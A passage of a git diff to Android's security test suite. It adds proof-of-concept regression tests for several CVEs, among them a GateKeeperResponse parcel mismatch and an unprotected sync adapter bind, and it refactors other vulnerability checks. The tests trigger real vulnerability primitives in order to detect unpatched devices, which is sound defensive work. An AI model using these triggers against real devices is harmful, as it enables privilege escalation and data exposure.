import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
@@ -48,27 +47,27 @@
genericIntentTest("DECLINE");
}
- private static final String prefix = "android.btopp.intent.action.";
- private void genericIntentTest(String action) throws SecurityException {
- try {
- Intent should_be_protected_broadcast = new Intent();
+ private static final String PREFIX = "android.btopp.intent.action.";
+ private static final String RECEIVER = "com.android.bluetooth.opp.BluetoothOppReceiver";
- String bluetoothPackageName = getInstrumentation().getContext().getPackageManager()
- .getPackagesForUid(BLUETOOTH_UID)[0];
-
- ComponentName oppLauncherComponent = new ComponentName(bluetoothPackageName,
- "com.android.bluetooth.opp.BluetoothOppReceiver");
-
- should_be_protected_broadcast.setComponent(oppLauncherComponent);
- should_be_protected_broadcast.setAction(prefix + action);
+ private void genericIntentTest(String action) throws SecurityException {
+ try {
+ Intent should_be_protected_broadcast = new Intent();
+ ComponentName oppLauncherComponent =
+ new ComponentName(TestApis.bluetooth().findPackageName(), RECEIVER);
+ should_be_protected_broadcast.setComponent(oppLauncherComponent);
+ should_be_protected_broadcast.setAction(PREFIX + action);
getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
}
catch (SecurityException e) {
return;
}
- throw new SecurityException("An " + prefix + action +
- " intent should not be broadcastable except by the system (declare " +
- " as protected-broadcast in manifest)");
- }
+ throw new SecurityException(
+ "An "
+ + PREFIX
+ + action
+ + " intent should not be broadcastable except by the system (declare "
+ + " as protected-broadcast in manifest)");
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
index b5896f1..5c0f342 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
@@ -25,12 +25,13 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.os.Parcel;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2019_9376 {
+public class CVE_2019_9376 extends StsExtraBusinessLogicTestCase {
@AppModeFull
@AsbSecurityTest(cveBugId = 129287265)
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20135.java b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java
new file mode 100644
index 0000000..2789ff8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20135 extends StsExtraBusinessLogicTestCase {
+
+ @Test
+ @AsbSecurityTest(cveBugId = 220303465)
+ public void testPocCVE_2022_20135() {
+ Bundle bundle = new Bundle();
+ try {
+ Class clazz = Class.forName("android.service.gatekeeper.GateKeeperResponse");
+ assumeNotNull(clazz);
+ Object obj = clazz.getMethod("createGenericResponse", int.class).invoke(null, 0);
+ assumeNotNull(obj);
+ Field field = clazz.getDeclaredField("mPayload");
+ assumeNotNull(field);
+ field.setAccessible(true);
+ field.set(obj, new byte[0]);
+ bundle.putParcelable("1", (Parcelable) obj);
+ bundle.putByteArray("2", new byte[1000]);
+ } catch (Exception ex) {
+ assumeNoException(ex);
+ }
+ Parcel parcel = Parcel.obtain();
+ assumeNotNull(parcel);
+ parcel.writeBundle(bundle);
+ parcel.setDataPosition(0);
+ Bundle newBundle = new Bundle();
+ newBundle.readFromParcel(parcel);
+ newBundle.keySet();
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java
new file mode 100644
index 0000000..b1ff168
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.accounts.Account;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ISyncAdapter;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20358 extends StsExtraBusinessLogicTestCase implements ServiceConnection {
+ static final int TIMEOUT_SEC = 10;
+ Semaphore mWaitResultServiceConn;
+ boolean mIsAssumeFail = false;
+ String mAssumeFailMsg = "";
+
+ @AsbSecurityTest(cveBugId = 203229608)
+ @Test
+ public void testPocCVE_2022_20358() {
+ try {
+ // Bind to the PocSyncService
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ Context context = instrumentation.getContext();
+ Intent intent = new Intent(context, PocSyncService.class);
+ intent.setAction("android.content.SyncAdapter");
+ CompletableFuture<String> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+ callbackReturn.complete(result.getString("fail"));
+ });
+ intent.putExtra("callback", cb);
+ context.bindService(intent, this, Context.BIND_AUTO_CREATE);
+
+ // Wait for some result from the PocSyncService
+ mWaitResultServiceConn = new Semaphore(0);
+ assumeTrue(mWaitResultServiceConn.tryAcquire(TIMEOUT_SEC, TimeUnit.SECONDS));
+ assumeTrue(mAssumeFailMsg, !mIsAssumeFail);
+
+ // Wait for a result to be set from onPerformSync() of PocSyncAdapter
+ callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+
+ // In presence of vulnerability, the above call succeeds and TimeoutException is not
+ // triggered so failing the test
+ fail("Vulnerable to b/203229608!!");
+ } catch (Exception e) {
+ if (e instanceof TimeoutException) {
+ // The fix is present so returning from here
+ return;
+ }
+ assumeNoException(e);
+ }
+ }
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ try {
+ if (mWaitResultServiceConn == null) {
+ mWaitResultServiceConn = new Semaphore(0);
+ }
+ ISyncAdapter adapter = ISyncAdapter.Stub.asInterface(service);
+ Account account = new Account("CVE_2022_20358_user", "CVE_2022_20358_acc");
+ adapter.startSync(null, "android.security.cts.CVE_2022_20358.provider", account, null);
+ mWaitResultServiceConn.release();
+ } catch (Exception e) {
+ try {
+ mWaitResultServiceConn.release();
+ mAssumeFailMsg = e.getMessage();
+ mIsAssumeFail = true;
+ } catch (Exception ex) {
+ // ignore all exceptions
+ }
+ }
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ try {
+ mWaitResultServiceConn.release();
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java
new file mode 100644
index 0000000..0bc8c2c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class PocContentProvider extends ContentProvider {
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java
new file mode 100644
index 0000000..08fbf92
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import android.accounts.Account;
+import android.app.Service;
+import android.content.AbstractThreadedSyncAdapter;
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SyncResult;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+
+public class PocSyncService extends Service {
+ private static PocSyncAdapter sSyncAdapter = null;
+ private static final Object sSyncAdapterLock = new Object();
+ RemoteCallback mCb;
+
+ @Override
+ public void onCreate() {
+ try {
+ synchronized (sSyncAdapterLock) {
+ if (sSyncAdapter == null) {
+ sSyncAdapter = new PocSyncAdapter(this);
+ }
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ try {
+ mCb = (RemoteCallback) intent.getExtra("callback");
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ return sSyncAdapter.getSyncAdapterBinder();
+ }
+
+ public class PocSyncAdapter extends AbstractThreadedSyncAdapter {
+
+ public PocSyncAdapter(Context context) {
+ super(context, false);
+ }
+
+ @Override
+ public void onPerformSync(Account account, Bundle extras, String authority,
+ ContentProviderClient provider, SyncResult syncResult) {
+ try {
+ if (account.type.equals("CVE_2022_20358_acc")
+ && account.name.equals("CVE_2022_20358_user")) {
+ Bundle res = new Bundle();
+ res.putString("fail", "");
+ mCb.sendResult(res);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
new file mode 100644
index 0000000..1bf6a78
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20420;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.IDeviceIdleController;
+import android.os.PowerExemptionManager;
+import android.os.Process;
+import android.os.ServiceManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20420 extends StsExtraBusinessLogicTestCase {
+ private static final int TIMEOUT_MS = 10000;
+ private static final int USER_ID = 0;
+ private Context mContext;
+ private DevicePolicyManager mPolicyManager;
+ private ComponentName mComponentName;
+ private UiAutomation mAutomation;
+
+ @After
+ public void tearDown() {
+ try {
+ mAutomation.dropShellPermissionIdentity();
+ mPolicyManager.removeActiveAdmin(mComponentName);
+ } catch (Exception ignored) {
+ // ignore all exceptions as the test has been completed.
+ }
+ }
+
+ @AsbSecurityTest(cveBugId = 238477311)
+ @Test
+ public void testDeviceAdminAppRestricted() {
+ try {
+ // Add test app to Power Save Whitelist.
+ mContext = getInstrumentation().getTargetContext();
+ mAutomation = getInstrumentation().getUiAutomation();
+ mAutomation.adoptShellPermissionIdentity(android.Manifest.permission.DEVICE_POWER,
+ android.Manifest.permission.MANAGE_DEVICE_ADMINS,
+ android.Manifest.permission.INTERACT_ACROSS_USERS_FULL);
+ IDeviceIdleController mDeviceIdleService =
+ IDeviceIdleController.Stub.asInterface(ServiceManager.getService("deviceidle"));
+ mDeviceIdleService.addPowerSaveWhitelistApp(mContext.getPackageName());
+
+ // Set test app as "Active Admin".
+ mPolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(mContext, PocDeviceAdminReceiver.class);
+ mPolicyManager.setActiveAdmin(mComponentName, true, USER_ID);
+ CompletableFuture<Boolean> future = new CompletableFuture<>();
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ future.complete(true);
+ }
+ };
+ mContext.registerReceiver(broadcastReceiver,
+ new IntentFilter("broadcastCVE_2022_20420"));
+ future.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+
+ // Call vulnerable function getBackgroundRestrictionExemptionReason()
+ ActivityManager activityManager = mContext.getSystemService(ActivityManager.class);
+ int reason = activityManager.getBackgroundRestrictionExemptionReason(Process.myUid());
+ assumeTrue(
+ "Reason code other than REASON_ACTIVE_DEVICE_ADMIN/REASON_ALLOWLISTED_PACKAGE"
+ + " returned by getBackgroundRestrictionExemptionReason() = " + reason,
+ reason == PowerExemptionManager.REASON_ACTIVE_DEVICE_ADMIN
+ || reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE);
+ assertFalse("Vulnerable to b/238377411 !!",
+ reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..c9c1b6f
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20420;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ try {
+ context.sendBroadcast(new Intent("broadcastCVE_2022_20420"));
+ } catch (Exception e) {
+ // ignore all exceptions.
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java
new file mode 100644
index 0000000..af581a1
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC has been written taking reference from:
+// File: frameworks/base/core/tests/coretests/src/android/os/BundleTest.java
+// Function: readFromParcelWithRwHelper_whenThrowingAndDefusing_returnsNull()
+
+package android.security.cts.CVE_2022_20452;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20452 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 240138318)
+ @Test
+ public void testPocCVE_2022_20452() {
+ try {
+ // Create a bundle with some parcelable object and a random string
+ Bundle bundle = new Bundle();
+ Parcelable parcelable = new CustomParcelable();
+ bundle.putParcelable("keyParcelable", parcelable);
+ bundle.putString("keyStr", "valStr");
+
+ // Read bundle contents into a parcel and also set read write helper for the parcel
+ Parcel parcelledBundle = Parcel.obtain();
+ bundle.writeToParcel(parcelledBundle, 0);
+ parcelledBundle.setDataPosition(0);
+ parcelledBundle.setReadWriteHelper(new Parcel.ReadWriteHelper());
+
+ // First set 'shouldDefuse' to true, then read contents of parcel into a bundle.
+ // In presence of fix, this will cause a ClassNotFoundException because bundle will not
+ // be able to find the class for 'CustomParcelable' as the class loader is not set, so
+ // Parcel will not be read properly and the code will return without reading the string.
+ Bundle.setShouldDefuse(true);
+ Bundle testBundle = new Bundle();
+ testBundle.readFromParcel(parcelledBundle);
+
+ // If the vulnerability is active, we will be able to read string from bundle.
+ assertNull("Vulnerable to b/240138318 !!", testBundle.getString("keyStr"));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java
new file mode 100644
index 0000000..f076eee
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20452;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class CustomParcelable implements Parcelable {
+ private boolean mDummyValue = true;
+
+ CustomParcelable() {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @Override
+ public void writeToParcel(Parcel out, int flags) {
+ out.writeBoolean(mDummyValue);
+ }
+
+ public static final Creator<CustomParcelable> CREATOR =
+ new Creator<CustomParcelable>() {
+ @Override
+ public CustomParcelable createFromParcel(Parcel in) {
+ return new CustomParcelable();
+ }
+
+ @Override
+ public CustomParcelable[] newArray(int size) {
+ return new CustomParcelable[size];
+ }
+ };
+}
diff --git a/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java
new file mode 100644
index 0000000..487c3d9
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/LocationDisabledAppOpsTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.app.ActivityManager;
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.location.LocationManager;
+import android.os.PackageTagsList;
+import android.os.Process;
+import android.os.UserHandle;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationDisabledAppOpsTest extends StsExtraBusinessLogicTestCase {
+
+ private final Context mContext = InstrumentationRegistry.getContext();
+ private LocationManager mLm;
+ private AppOpsManager mAom;
+
+ @Before
+ public void setUp() {
+ mLm = mContext.getSystemService(LocationManager.class);
+ mAom = mContext.getSystemService(AppOpsManager.class);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 231496105)
+ public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() {
+ PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist();
+
+ UserHandle[] userArr = {UserHandle.SYSTEM};
+ runWithShellPermissionIdentity(() -> {
+ userArr[0] = UserHandle.of(ActivityManager.getCurrentUser());
+ });
+
+ UserHandle user = userArr[0];
+
+ boolean wasEnabled = mLm.isLocationEnabledForUser(user);
+
+ try {
+ runWithShellPermissionIdentity(() -> {
+ mLm.setLocationEnabledForUser(false, user);
+ });
+ List<PackageInfo> pkgs =
+ mContext.getPackageManager().getInstalledPackagesAsUser(
+ 0, user.getIdentifier());
+
+ eventually(() -> {
+ List<String> bypassedNoteOps = new ArrayList<>();
+ List<String> bypassedCheckOps = new ArrayList<>();
+ for (PackageInfo pi : pkgs) {
+ ApplicationInfo ai = pi.applicationInfo;
+ int appId = UserHandle.getAppId(ai.uid);
+ if (appId != Process.SYSTEM_UID) {
+ final int[] mode = {MODE_ALLOWED};
+ runWithShellPermissionIdentity(() -> {
+ mode[0] = mAom.noteOpNoThrow(
+ OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+ });
+ if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+ bypassedNoteOps.add(pi.packageName);
+ }
+
+
+ mode[0] = MODE_ALLOWED;
+ runWithShellPermissionIdentity(() -> {
+ mode[0] = mAom
+ .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+ });
+ if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+ bypassedCheckOps.add(pi.packageName);
+ }
+
+ }
+ }
+
+ String msg = "";
+ if (!bypassedNoteOps.isEmpty()) {
+ msg += "Apps which still have access from noteOp " + bypassedNoteOps;
+ }
+ if (!bypassedCheckOps.isEmpty()) {
+ msg += (msg.isEmpty() ? "" : "\n\n")
+ + "Apps which still have access from checkOp " + bypassedCheckOps;
+ }
+ if (!msg.isEmpty()) {
+ Assert.fail(msg);
+ }
+ });
+ } finally {
+ runWithShellPermissionIdentity(() -> {
+ mLm.setLocationEnabledForUser(wasEnabled, user);
+ });
+ }
+ }
+
+}
+
diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
index 887538b..ddea213 100644
--- a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
@@ -21,23 +21,24 @@
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.cts.install.lib.Install;
import com.android.cts.install.lib.TestApp;
import com.android.cts.install.lib.Uninstall;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
import java.util.concurrent.TimeUnit;
-@RunWith(JUnit4.class)
+@RunWith(AndroidJUnit4.class)
@AppModeFull
-public class PackageInstallerTest {
+public class PackageInstallerTest extends StsExtraBusinessLogicTestCase {
private static final String TEST_APP_NAME = "android.security.cts.packageinstallertestapp";
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 293200e..a46e142 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -16,17 +16,21 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.app.ActivityManager;
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import androidx.test.runner.AndroidJUnit4;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.List;
+import java.util.stream.Collectors;
@RunWith(AndroidJUnit4.class)
public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
@@ -40,12 +44,23 @@
@Test
public void testRunningAppProcessInfo() {
ActivityManager amActivityManager =
- (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
+ (ActivityManager)
+ getInstrumentation()
+ .getContext()
+ .getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> appList =
amActivityManager.getRunningAppProcesses();
+
+ // Assembles app list for logging
+ List<String> processNames =
+ appList.stream()
+ .map((processInfo) -> processInfo.processName)
+ .collect(Collectors.toList());
+
// The test will pass if it is able to get only its process info
- assertTrue("Device is vulnerable to CVE-2015-3833. For more information, see " +
- "https://android.googlesource.com/platform/frameworks/base/+" +
- "/aaa0fee0d7a8da347a0c47cef5249c70efee209e", (appList.size() == 1));
+ assertTrue(
+ "Device is vulnerable to CVE-2015-3833. Running app processes: "
+ + processNames.toString(),
+ (appList.size() == 1));
}
}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index cdb27a8..307a3e7 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
